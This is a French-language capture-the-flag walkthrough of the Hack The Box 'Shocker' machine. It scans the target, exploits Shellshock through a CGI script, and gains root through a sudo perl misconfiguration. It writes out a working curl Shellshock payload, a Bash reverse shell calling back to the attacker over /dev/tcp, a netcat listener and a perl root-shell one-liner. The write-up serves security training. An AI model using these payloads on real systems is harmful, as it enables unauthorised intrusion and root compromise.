
Walkthrough HTB structuré démontrant l'exploitation de Shellshock (CVE-2014-6271) via le fuzzing de répertoires CGI et l'élévation de privilèges via des permissions sudo Perl mal configurées en utilisant GTFOBins.
Un walkthrough structuré et professionnel illustrant l'identification et l'exploitation manuelle de la faille critique Shellshock, suivie d'une élévation de privilèges locale via des droits sudo mal configurés sur une cible Linux.
10.10.10.56/usr/bin/perl)L'évaluation commence par un scan SYN TCP rapide sur tous les ports, ciblant uniquement les ports ouverts (--open) tout en contournant la découverte d'hôte (-Pn) et la résolution DNS (-n) pour accélérer la reconnaissance.
nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56
Le premier balayage révèle deux services actifs. Nous effectuons un scan ciblé secondaire pour exécuter une détection de version agressive (-sCV) et une évaluation des vulnérabilités basée sur des scripts :
nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56
En parallèle de nos scans de vulnérabilités, nous lançons un brute-force de répertoires Web avec gobuster pour cartographier les ressources cachées du serveur Apache. Nous utilisons une wordlist standard du framework SecLists :
gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20
Le processus de fuzzing identifie un répertoire /cgi-bin/ non indexé. Dans les déploiements Web historiques, les serveurs Apache utilisent l'interface CGI (Common Gateway Interface) pour exécuter des scripts côté serveur. Compte tenu du nom de la machine et de la présence de ce dossier, nous cherchons activement des scripts exécutables (par exemple .sh, .cgi) susceptibles de présenter des failles d'injection de variables d'environnement.
Une énumération plus poussée révèle un script nommé user.sh situé dans le répertoire /cgi-bin/.
La vulnérabilité Shellshock (CVE-2014-6271) permet à un attaquant d'exécuter des commandes arbitraires sur le système d'exploitation en injectant des définitions de fonctions malveillantes dans les en-têtes de requêtes HTTP (comme User-Agent) traités par des instances Bash vulnérables.
Nous élaborons une commande curl personnalisée pour envoyer une charge utile Proof of Concept (PoC) conçue pour forcer le système distant à exécuter la commande /usr/bin/id :
curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
id, validant une exécution de code à distance (RCE) non authentifiée.Pour transformer notre vecteur d'exécution en session interactive, nous mettons en place un listener Netcat local sur notre plateforme d'attaque :
nc -lvnp 4444
Ensuite, nous injectons une chaîne de reverse shell Bash native dans l'en-tête User-Agent malveillant pour forcer un rappel via TCP :
curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
Une fois l'exécution réussie, nous obtenons un shell stable à faibles privilèges :
$ whoami
shelly
Avec un contexte utilisateur fonctionnel sur le système, nous auditions nos restrictions locales. Nous interrogeons la configuration sudo pour déterminer si l'utilisateur shelly est autorisé à exécuter des commandes avec des privilèges élevés sans fournir de mot de passe :
sudo -l
La sortie révèle l'entrée à haut risque suivante :
User shelly may run the following commands on shocker:
(root) NOPASSWD: /usr/bin/perl
Étant donné que nous disposons d'un accès sans restriction ni authentification pour exécuter le binaire perl en tant que root, nous pouvons facilement contourner les restrictions du binaire. En croisant les données de GTFOBins, nous trouvons un wrapper d'exécution qui demande à Perl d'ouvrir un shell système natif (/bin/sh) en conservant le contexte d'identité d'exécution (root) :
sudo -u root perl -e 'exec "/bin/sh"'
Nous obtenons immédiatement un contexte d'exécution administratif complet :
# whoami
root
Maintenant que l'accès root est établi, nous nous rendons dans les répertoires personnels concernés pour récupérer les preuves de compromission.
# Access User Flag
cat /home/shelly/user.txt
# Access Root Flag
cat /root/root.txt
perl, python ou bash via sudo introduit des vecteurs d'élévation de privilèges immédiats. L'accès sudo doit être limité à des scripts administratifs non interactifs et hautement contrôlés.